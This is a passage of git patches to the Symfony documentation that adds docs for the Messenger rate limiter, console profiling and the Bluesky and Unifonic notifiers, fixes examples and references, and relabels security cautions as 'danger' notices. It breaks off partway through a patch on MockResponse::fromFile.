Date: Thu, 14 Dec 2023 07:50:06 +0200
Subject: [PATCH 4177/5766] [Form] Fix wrong return type for choice_loader

---
 reference/forms/types/options/choice_loader.rst.inc | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 502ddb125c7..95f670ec0fc 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -46,6 +46,7 @@ better performance::
     use App\StaticClass;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\ChoiceList\ChoiceList;
+    use Symfony\Component\Form\ChoiceList\Loader\ChoiceLoaderInterface;
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     use Symfony\Component\OptionsResolver\Options;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -61,13 +62,13 @@ better performance::
         {
             $resolver->setDefaults([
                 // the example below will create a CallbackChoiceLoader from the callable
-                'choice_loader' => ChoiceList::lazy($this, function() {
+                'choice_loader' => ChoiceList::lazy($this, function () {
                     return StaticClass::getConstants();
                 }),
 
                 // you can pass your own loader as well, depending on other options
                 'some_key' => null,
-                'choice_loader' => function (Options $options): array {
+                'choice_loader' => function (Options $options): ChoiceLoaderInterface {
                     return ChoiceList::loader(
                         // pass the instance of the type or type extension which is
                         // currently configuring the choice list as first argument

From 28992c996659dcc1b6d6dfa6150463758db70e43 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 14 Dec 2023 08:18:18 +0100
Subject: [PATCH 4178/5766] -

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 137933a36e1..d324b65bba8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -149,8 +149,8 @@ method to retrieve a new instance of the client with new default options::
 
     The ``withOptions()`` method was introduced in Symfony 5.3.
 
-Alternatively, the :class:`Symfony\\Component\\HttpClient\\HttpOptions` class brings most of the available options with
-type-hinted getters and setters::
+Alternatively, the :class:`Symfony\\Component\\HttpClient\\HttpOptions` class
+brings most of the available options with type-hinted getters and setters::
 
     $this->client = $client->withOptions(
         (new HttpOptions())

From ec2c1552d34507d6e5f8782570f72499f466929b Mon Sep 17 00:00:00 2001
From: Bob van de Vijver <bobvandevijver@users.noreply.github.com>
Date: Thu, 18 Aug 2022 12:28:18 +0200
Subject: [PATCH 4179/5766] [Messenger] Add messenger rate_limiter docs

---
 messenger.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 44bdb0f4c92..c5e15aa84e2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -904,6 +904,67 @@ running the ``messenger:consume`` command.
 
 .. _messenger-retries-failures:
 
+Rate limited transport
+~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The ``rate_limiter`` option was introduced in Symfony 6.2.
+
+Sometimes you might need to rate limit your message worker. You can configure a
+rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
+by setting its ``rate_limiter`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    async:
+                        rate_limiter: your_rate_limiter_name
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async">
+                        <option key="rate_limiter">your_rate_limiter_name</option>
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')
+                    ->options(['rate_limiter' => 'your_rate_limiter_name'])
+            ;
+        };
+
+.. caution::
+
+    When a rate limiter is configured on a transport, it will block the whole
+    worker when the limit is hit. You should make sure you configure a dedicated
+    worker for a rate limited transport to avoid other transports to be blocked.
+
 Retries & Failures
 ------------------
 

From 57f78401f85694b174572dadab73a0ffdab6380b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 14 Dec 2023 08:21:40 +0100
Subject: [PATCH 4180/5766] -

---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 58573dab7a9..25d6b519960 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -884,10 +884,6 @@ running the ``messenger:consume`` command.
 Rate limited transport
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The ``rate_limiter`` option was introduced in Symfony 6.2.
-
 Sometimes you might need to rate limit your message worker. You can configure a
 rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
 by setting its ``rate_limiter`` option:

From 4945d0a17411f8e697b4a9377db7a2c85d030514 Mon Sep 17 00:00:00 2001
From: Maelan LE BORGNE <maelan.leborgne@sensiolabs.com>
Date: Tue, 12 Dec 2023 10:14:13 +0100
Subject: [PATCH 4181/5766] [Console] Added documentation about command
 profiling

---
 console.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/console.rst b/console.rst
index b3c6f735545..1e76a9ab3f7 100644
--- a/console.rst
+++ b/console.rst
@@ -619,6 +619,36 @@ Using Events And Handling Signals
 When a command is running, many events are dispatched, one of them allows to
 react to signals, read more in :doc:`this section </components/console/events>`.
 
+Profiling Commands
+------------------
+
+When debug mode and the profiler are enabled, you can run a command with the
+``--profile`` option. Symfony will then collect data about the command execution.
+When the execution is over, the profile is accessible through the web page of
+the :doc:`Symfony Profiler </profiler>`.
+
+.. tip::
+
+        If you run the command in verbose mode (``-v``), Symfony will display
+        in the output a clickable link to the command profile (if your terminal
+        supports links). If you run it in debug verbosity (``-vvv``) you'll
+        also see the time and memory consumed by the command.
+
+        .. code-block:: terminal
+
+            $ php bin/console --profile -v app:my-command
+            ...
+
+            [OK] Command successful !
+
+            See profile f4ef63 # <- this is a clickable link if your terminal supports it
+
+```
+
+.. versionadded:: 6.4
+
+    The ``--profile`` option was introduced in Symfony 6.4.
+
 Learn More
 ----------
 

From 618d70bd04e7fd3ba455fe2b6207293c8ac1df88 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Dec 2023 13:37:50 +0100
Subject: [PATCH 4182/5766] Reword

---
 console.rst | 30 +++++++++++++-----------------
 1 file changed, 13 insertions(+), 17 deletions(-)

diff --git a/console.rst b/console.rst
index 30eba21f296..ce8d86bef37 100644
--- a/console.rst
+++ b/console.rst
@@ -622,28 +622,24 @@ react to signals, read more in :doc:`this section </components/console/events>`.
 Profiling Commands
 ------------------
 
-When debug mode and the profiler are enabled, you can run a command with the
-``--profile`` option. Symfony will then collect data about the command execution.
-When the execution is over, the profile is accessible through the web page of
-the :doc:`Symfony Profiler </profiler>`.
+Symfony allows to profile the execution of any command, including yours. First,
+make sure that the :ref:`debug mode <debug-mode>` and the :doc:`profiler </profiler>`
+are enabled. Then, add the ``--profile`` option when running the command:
 
-.. tip::
-
-        If you run the command in verbose mode (``-v``), Symfony will display
-        in the output a clickable link to the command profile (if your terminal
-        supports links). If you run it in debug verbosity (``-vvv``) you'll
-        also see the time and memory consumed by the command.
-
-        .. code-block:: terminal
+.. code-block:: terminal
 
-            $ php bin/console --profile -v app:my-command
-            ...
+    $ php bin/console --profile app:my-command
 
-            [OK] Command successful !
+Symfony will now collect data about the command execution, which is helpful to
+debug errors or check other issues. When the command execution is over, the
+profile is accessible through the web page of the profiler.
 
-            See profile f4ef63 # <- this is a clickable link if your terminal supports it
+.. tip::
 
-```
+    If you run the command in verbose mode (adding the ``-v`` option), Symfony
+    will display in the output a clickable link to the command profile (if your
+    terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
+    also see the time and memory consumed by the command.
 
 .. versionadded:: 6.4
 

From be9cb027cc149a1ae6f1b8b17339b0d21c02d661 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Fri, 15 Dec 2023 18:10:04 +0100
Subject: [PATCH 4183/5766] [Notifier] Add Bluesky notifier bridge

---
 console.rst  | 4 ----
 notifier.rst | 6 ++++++
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/console.rst b/console.rst
index 6a0806c730a..700ed536486 100644
--- a/console.rst
+++ b/console.rst
@@ -611,10 +611,6 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. versionadded:: 6.4
-
-    The ``--profile`` option was introduced in Symfony 6.4.
-
 Learn More
 ----------
 
diff --git a/notifier.rst b/notifier.rst
index 42f55201073..8cb9b87c0dd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -221,6 +221,7 @@ integration with these chat services:
 Service                                  Package                               DSN
 =======================================  ====================================  =============================================================================
 `AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+`Bluesky`_                               ``symfony/bluesky-notifier``          ``bluesky://USERNAME:PASSWORD@default``
 `Chatwork`_                              ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
 `Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 `FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
@@ -241,6 +242,10 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
+.. versionadded:: 7.1
+
+    The ``Bluesky`` integration was introduced in Symfony 7.1.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
@@ -942,6 +947,7 @@ is dispatched. Listeners receive a
 .. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
 .. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
 .. _`Bandwidth`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bandwidth/README.md
+.. _`Bluesky`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bluesky/README.md
 .. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Brevo/README.md
 .. _`Chatwork`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Chatwork/README.md
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md

From 734bd6b97e2bb1e8f36556f27b1dc7f35ae6d1c9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adrian=20G=C3=BCnter?= <adrianguenter@gmail.com>
Date: Fri, 15 Dec 2023 11:35:48 -0500
Subject: [PATCH 4184/5766] Remove semicolon marking previous end of statement

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 54a27d50407..0b83ff8e6e0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -263,7 +263,7 @@ reusable configuration value. By convention, parameters are defined under the
 
                 // PHP constants as parameter values
                 ->set('app.some_constant', GLOBAL_CONSTANT)
-                ->set('app.another_constant', BlogPost::MAX_ITEMS);
+                ->set('app.another_constant', BlogPost::MAX_ITEMS)
 
                 // Enum case as parameter values
                 ->set('app.some_enum', PostState::Published);

From dbcfe2f3bd91a421007e44ecc372f7f5294c27fc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 16 Dec 2023 09:57:50 +0100
Subject: [PATCH 4185/5766] -

---
 console.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/console.rst b/console.rst
index 6a0806c730a..700ed536486 100644
--- a/console.rst
+++ b/console.rst
@@ -611,10 +611,6 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. versionadded:: 6.4
-
-    The ``--profile`` option was introduced in Symfony 6.4.
-
 Learn More
 ----------
 

From e671f57144e41576403ce2f8c4781c9787fb0409 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 16 Dec 2023 13:23:18 +0100
Subject: [PATCH 4186/5766] Fix wrong reStructuredText references

---
 components/serializer.rst          |  2 +-
 configuration/multiple_kernels.rst |  4 ++--
 mailer.rst                         | 26 +++++++++++++-------------
 mercure.rst                        |  2 +-
 4 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9ce72892451..f6b2048a6bb 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -233,7 +233,7 @@ data.
 Context
 -------
 
-Many Serializer features can be configured :doc:`using a context </serializer#serializer-context>`.
+Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`.
 
 .. _component-serializer-attributes-groups:
 
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index cd654e5dbeb..2ecee747e38 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -53,7 +53,7 @@ requirements, so it's up to you to decide which best suits your project.
 
 First, create a new ``apps`` directory at the root of your project, which will
 hold all the necessary applications. Each application will follow a simplified
-directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
+directory structure like the one described in :doc:`Symfony Best Practice </best_practices>`:
 
 .. code-block:: text
 
@@ -321,7 +321,7 @@ Rendering Templates
 -------------------
 
 Let's consider that you need to create another app called ``admin``. If you
-follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
+follow the :doc:`Symfony Best Practices </best_practices>`, the shared Kernel
 templates will be located in the ``templates/`` directory at the project's root.
 For admin-specific templates, you can create a new directory
 ``apps/admin/templates/`` which you will need to manually configure under the
diff --git a/mailer.rst b/mailer.rst
index 3cdd0b207f3..4099724a68f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,19 +174,19 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-===================== ==================================================== =========================================== ========================================
-Provider              SMTP                                                 HTTP                                        API
-===================== ==================================================== =========================================== ========================================
-`Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-`Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-`Mandrill`_           mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
-`Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-`Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
-`Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
-`Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
-`Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-`OhMySMTP`_           ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
-===================== ==================================================== =========================================== ========================================
+===================== ======================================================== =============================================== ============================================
+Provider              SMTP                                                     HTTP                                        API
+===================== ======================================================== =============================================== ============================================
+`Amazon SES`_         ``ses+smtp://USERNAME:PASSWORD@default``                 ``ses+https://ACCESS_KEY:SECRET_KEY@default``   ``ses+api://ACCESS_KEY:SECRET_KEY@default``
+`Google Gmail`_       ``gmail+smtp://USERNAME:APP-PASSWORD@default``           n/a                                             n/a
+`Mandrill`_           ``mandrill+smtp://USERNAME:PASSWORD@default``            ``mandrill+https://KEY@default``                ``mandrill+api://KEY@default``
+`Mailgun`_            ``mailgun+smtp://USERNAME:PASSWORD@default``             ``mailgun+https://KEY:DOMAIN@default``          ``mailgun+api://KEY:DOMAIN@default``
+`Mailjet`_            ``mailjet+smtp://ACCESS_KEY:SECRET_KEY@default``         n/a                                             ``mailjet+api://ACCESS_KEY:SECRET_KEY@default``
+`Postmark`_           ``postmark+smtp://ID@default``                           n/a                                             ``postmark+api://KEY@default``
+`Sendgrid`_           ``sendgrid+smtp://KEY@default``                          n/a                                             ``sendgrid+api://KEY@default``
+`Sendinblue`_         ``sendinblue+smtp://USERNAME:PASSWORD@default``          n/a                                             ``sendinblue+api://KEY@default``
+`OhMySMTP`_           ``ohmysmtp+smtp://API_TOKEN@default``                    n/a                                             ``ohmysmtp+api://API_TOKEN@default``
+===================== ======================================================== =============================================== ============================================
 
 .. caution::
 
diff --git a/mercure.rst b/mercure.rst
index f53b49d6e3d..2b34c3c105b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -53,7 +53,7 @@ that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
-Thanks to :ref:`the Docker integration of Symfony </setup/docker>`,
+Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
 :ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 

From 9e47f5fe8489c1b6aadbb241a4fe30faf1aebfea Mon Sep 17 00:00:00 2001
From: Farhad Safarov <farhad.safarov@gmail.com>
Date: Sun, 17 Dec 2023 01:03:31 +0300
Subject: [PATCH 4187/5766] [Notifier] Add Unifonic notifier bridge

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 8cb9b87c0dd..b57f501687d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -98,6 +98,7 @@ Service             Package                                DSN
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
 `Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
+`Unifonic`_         ``symfony/unifonic-notifier``          ``unifonic://APP_SID@default?from=FROM``
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
 ==================  =====================================  ========================================================================================================================= ===============
@@ -244,7 +245,7 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky`` integration was introduced in Symfony 7.1.
+    The ``Bluesky`` and ``Unifonic`` integrations were introduced in Symfony 7.1.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
@@ -1008,6 +1009,7 @@ is dispatched. Listeners receive a
 .. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
 .. _`Twilio`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twilio/README.md
 .. _`Twitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twitter/README.md
+.. _`Unifonic`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Unifonic/README.md
 .. _`Vonage`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Vonage/README.md
 .. _`Yunpian`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Yunpian/README.md
 .. _`Zendesk`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Zendesk/README.md

From ac45c0cd625c69ed5ff5489f775447bbf16e6caa Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 17 Dec 2023 20:21:10 +0100
Subject: [PATCH 4188/5766] Mutate some `cautions` to `dangers`

---
 components/http_foundation.rst    | 2 +-
 components/lock.rst               | 6 +++---
 components/process.rst            | 2 +-
 components/yaml.rst               | 2 +-
 configuration.rst                 | 2 +-
 configuration/secrets.rst         | 2 +-
 controller.rst                    | 2 +-
 deployment/proxies.rst            | 2 +-
 http_cache/cache_invalidation.rst | 2 +-
 http_cache/ssi.rst                | 2 +-
 profiler.rst                      | 2 +-
 rate_limiter.rst                  | 2 +-
 reference/configuration/twig.rst  | 2 +-
 security.rst                      | 2 +-
 serializer.rst                    | 2 +-
 session.rst                       | 2 +-
 16 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 68d686ff211..e5d8be12b2d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -718,7 +718,7 @@ class, which can make this even easier::
 The ``JsonResponse`` class sets the ``Content-Type`` header to
 ``application/json`` and encodes your data to JSON when needed.
 
-.. caution::
+.. danger::
 
     To avoid XSSI `JSON Hijacking`_, you should pass an associative array
     as the outermost array to ``JsonResponse`` and not an indexed array so
diff --git a/components/lock.rst b/components/lock.rst
index 14c787e16cd..bac1f835b9a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -843,7 +843,7 @@ instance, to clean up the ``/tmp`` directory or after a reboot of the machine
 when a directory uses ``tmpfs``. It's not an issue if the lock is released when
 the process ended, but it is in case of ``Lock`` reused between requests.
 
-.. caution::
+.. danger::
 
     Do not store locks on a volatile file system if they have to be reused in
     several requests.
@@ -876,7 +876,7 @@ When the Memcached service is shared and used for multiple usage, Locks could be
 removed by mistake. For instance some implementation of the PSR-6 ``clear()``
 method uses the Memcached's ``flush()`` method which purges and removes everything.
 
-.. caution::
+.. danger::
 
     The method ``flush()`` must not be called, or locks should be stored in a
     dedicated Memcached service away from Cache.
@@ -984,7 +984,7 @@ be lost without notifying the running processes.
 When the Redis service is shared and used for multiple usages, locks could be
 removed by mistake.
 
-.. caution::
+.. danger::
 
     The command ``FLUSHDB`` must not be called, or locks should be stored in a
     dedicated Redis service away from Cache.
diff --git a/components/process.rst b/components/process.rst
index 12ee096df4e..d11618cb119 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -251,7 +251,7 @@ are done doing other stuff::
     **synchronously** inside this event. Be aware that ``kernel.terminate``
     is called only if you use PHP-FPM.
 
-.. caution::
+.. danger::
 
     Beware also that if you do that, the said PHP-FPM process will not be
     available to serve any new request until the subprocess is finished. This
diff --git a/components/yaml.rst b/components/yaml.rst
index 0f4f76ef05f..e9e16073282 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -239,7 +239,7 @@ And parse them by using the ``PARSE_OBJECT`` flag::
 The YAML component uses PHP's ``serialize()`` method to generate a string
 representation of the object.
 
-.. caution::
+.. danger::
 
     Object serialization is specific to this implementation, other PHP YAML
     parsers will likely not recognize the ``php/object`` tag and non-PHP
diff --git a/configuration.rst b/configuration.rst
index ba35e868df1..7c6090b0987 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -737,7 +737,7 @@ To do so, define a parameter with the same name as the env var using this syntax
     always exists, because its value will be ``null`` when the related env var
     is not defined.
 
-.. caution::
+.. danger::
 
     Beware that dumping the contents of the ``$_SERVER`` and ``$_ENV`` variables
     or outputting the ``phpinfo()`` contents will display the values of the
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 56270b75ca5..3927fa6161f 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -50,7 +50,7 @@ running:
 This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
 ``config/secrets/prod/prod.decrypt.private.php``.
 
-.. caution::
+.. danger::
 
     The ``prod.decrypt.private.php`` file is highly sensitive. Your team of developers
     and even Continuous Integration services don't need that key. If the
diff --git a/controller.rst b/controller.rst
index c3a11e99a6a..7866a97818b 100644
--- a/controller.rst
+++ b/controller.rst
@@ -146,7 +146,7 @@ and ``redirect()`` methods::
         return $this->redirect('http://symfony.com/doc');
     }
 
-.. caution::
+.. danger::
 
     The ``redirect()`` method does not check its destination in any way. If you
     redirect to a URL provided by end-users, your application may be open
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 416039ee040..38141df17da 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -104,7 +104,7 @@ and what headers your reverse proxy uses to send information:
             # ...
             trusted_proxies: '%env(TRUSTED_PROXIES)%'
 
-.. caution::
+.. danger::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
     application to `HTTP Host header attacks`_. Make sure the proxy really
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 76c13ab975b..8e0b022a5a1 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -136,7 +136,7 @@ Then, register the class as a service that :doc:`decorates </service_container/s
             ;
         };
 
-.. caution::
+.. danger::
 
     You must protect the ``PURGE`` HTTP method somehow to avoid random people
     purging your cached data.
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 3db2a986326..34faeefd0c5 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -27,7 +27,7 @@ The SSI instructions are done via HTML comments:
 There are some other `available directives`_ but
 Symfony manages only the ``#include virtual`` one.
 
-.. caution::
+.. danger::
 
     Be careful with SSI, your website may fall victim to injections.
     Please read this `OWASP article`_ first!
diff --git a/profiler.rst b/profiler.rst
index bc564efcbba..3da11a5bab6 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -4,7 +4,7 @@ Profiler
 The profiler is a powerful **development tool** that gives detailed information
 about the execution of any request.
 
-.. caution::
+.. danger::
 
     **Never** enable the profiler in production environments
     as it will lead to major security vulnerabilities in your project.
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 3cc7e28ea23..0d349e2f132 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -15,7 +15,7 @@ Symfony uses these rate limiters in built-in features like :ref:`login throttlin
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
-.. caution::
+.. danger::
 
     By definition, the Symfony rate limiters require Symfony to be booted
     in a PHP process. This makes them not useful to protect against `DoS attacks`_.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 1153846f35d..75a3b7ddf42 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -41,7 +41,7 @@ autoescape
 If set to ``false``, automatic escaping is disabled (you can still escape each content
 individually in the templates).
 
-.. caution::
+.. danger::
 
     Setting this option to ``false`` is dangerous and it will make your
     application vulnerable to `XSS attacks`_ because most third-party bundles
diff --git a/security.rst b/security.rst
index 105c7d37561..426555070fa 100644
--- a/security.rst
+++ b/security.rst
@@ -827,7 +827,7 @@ The form can look like anything, but it usually follows some conventions:
     Actually, all of this can be configured under the ``form_login`` key. See
     :ref:`reference-security-firewall-form-login` for more details.
 
-.. caution::
+.. danger::
 
     This login form is currently not protected against CSRF attacks. Read
     :ref:`form_login-csrf` on how to protect your login form.
diff --git a/serializer.rst b/serializer.rst
index 32140aa1e6d..54a7e28b4cd 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -90,7 +90,7 @@ custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
 possible to set the priority of the tag in order to decide the matching order.
 
-.. caution::
+.. danger::
 
     Always make sure to load the ``DateTimeNormalizer`` when serializing the
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
diff --git a/session.rst b/session.rst
index 6d685244a75..d112e9acfb4 100644
--- a/session.rst
+++ b/session.rst
@@ -1573,7 +1573,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                 ]);
         };
 
-.. caution::
+.. danger::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.

From 6bd49488eebe6195e7df021b9057988c539b49cb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 17 Dec 2023 20:29:35 +0100
Subject: [PATCH 4189/5766] [HttpClient] Add `JsonMockResponse::fromFile()` and
 `MockResponse::fromFile()` shortcuts

---
 http_client.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 2ca591a5098..6d45fc6d6d7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1905,6 +1905,20 @@ in order when requests are made::
     $response1 = $client->request('...'); // returns $responses[0]
     $response2 = $client->request('...'); // returns $responses[1]
 
+It is also possible to create a
+:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` directly
+from a file, which is particularly useful when storing your responses
+snapshots in files::
+
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $response = MockResponse::fromFile('tests/fixtures/response.xml');
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\HttpClient\\Response\\MockResponse::fromFile`
